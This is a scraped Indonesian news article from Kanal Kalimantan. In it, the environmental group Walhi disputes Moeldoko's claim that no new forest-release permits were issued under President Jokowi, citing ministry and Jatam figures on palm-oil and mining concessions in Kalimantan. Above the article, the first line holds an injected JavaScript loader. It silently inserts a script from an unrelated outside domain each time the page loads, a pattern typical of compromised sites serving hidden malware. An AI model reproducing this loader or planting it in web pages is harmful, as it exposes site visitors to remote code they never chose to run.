(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Pernyataan Kepala Kantor Staf Presiden Moeldoko yang mengklaim tidak pernah ada izin baru soal pengalihan lahan hutan untuk konsesi kelapa sawit maupun pertambangan selama era pemerintahan Presiden Jokowi, dibantah Wahana Lingkungan Hidup Indonesia (Walhi).
Walhi menyebutkan, pelepasan kawasan hutan untuk kepentingan berusaha atau konsesi di Kalimantan masih terjadi di era Jokowi.
“Tidak benar kalau selama periode Jokowi tidak melepaskan kawasan hutan di Kalimantan,” kata Koordinator Kampanye Walhi Nasional Edo Rakhman, Kamis (21/1/2021).
Berdasarkan data yang dihimpun Walhi, yang diambil dari rekapitulasi data Kementerian Lingkungan Hidup dan Kehutanan (KLHK), telah dilakukan pelepasan kawasan hutan seluas 418.750 hektare untuk konsesi kelapa sawit dan 99 hektare untuk pabrik kelapa sawit selama 2014-2019. Demikian seperti dilansir CNNIndonesia.
Angka tersebut menambah total pelepasan kawasan hutan di Kalimantan menjadi 427.952 dalam kurun waktu 5 tahun. Pelepasan dilakukan juga untuk pembangunan bandara, kampus, komoditas karet, pelabuhan, pembangunan pabrik, percetakan lahan pertanian, peternakan, hingga terminal dan gudang.
Jaringan Advokasi Tambang (Jatam) mencatat hingga awal tahun 2019 KLHK telah menerbitkan 651 Izin Pinjam Pakai Kawasan Hutan (IPPKH) dengan total luas 474.859 hektare. Izin ini salah satunya digunakan untuk pertambangan. Sementara, luas lahan yang sudah direklamasi baru mencapai 27.493 hektare.
Namun begitu, data Kementerian Lingkungan Hidup dan Kehutanan (KLHK) menunjukkan ada penurunan luas kawasan hutan yang dipakai untuk pemanfaatan hasil hutan alam dan hutan tanaman industri di Kalimantan dalam periode 2014-2019.
Mengutip Buku Basis Data Spasial Kehutanan KLHK 2019, terdapat total 10,2 juta hektare kawasan hutan yang memiliki Izin Usaha Pemanfaatan Hasil Hutan Kayu dalam Hutan Alam (IUPHHK-HA) di Kalimantan.
Sedangkan pada 2014 luasnya mencapai 12,5 juta, belum termasuk Kalimantan Utara. Buku Basis Data Spasial Kehutanan KLHK 2014 tidak mencantumkan luas izin pada kawasan hutan di sana.
Untuk Izin Usaha Pemanfaatan Hasil Hutan Kayu dan Hutan Tanaman Industri (IUPHHK-HTI), luasnya mencapai 5,1 juta hektare pada 2019. Tahun 2014 luasnya mencapai 5,9 juta, belum termasuk Kalimantan Utara.
Sebelumnya, Moeldoko meyakini penyusutan hutan bukan karena izin yang dilakukan di era Jokowi. Menurutnya, pemerintah tidak pernah mengeluarkan izin baru pada periode 2014-2019.
“Saya pikir zamannya Pak Jokowi itu, mungkin kita lihat lah, tidak mengeluarkan izin-izin baru,” kata dia.
Perdebatan mengenai pemberian izin usaha untuk kawasan hutan bermula dari fenomena banjir yang menerjang Kalimantan Selatan. Aktivis lingkungan, termasuk Walhi, menduga deforestasi jadi salah satu faktor utama banjir terjadi.(Kanalkalimantan.com/cnnindonesia)
Editor : Cell
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
This website uses cookies.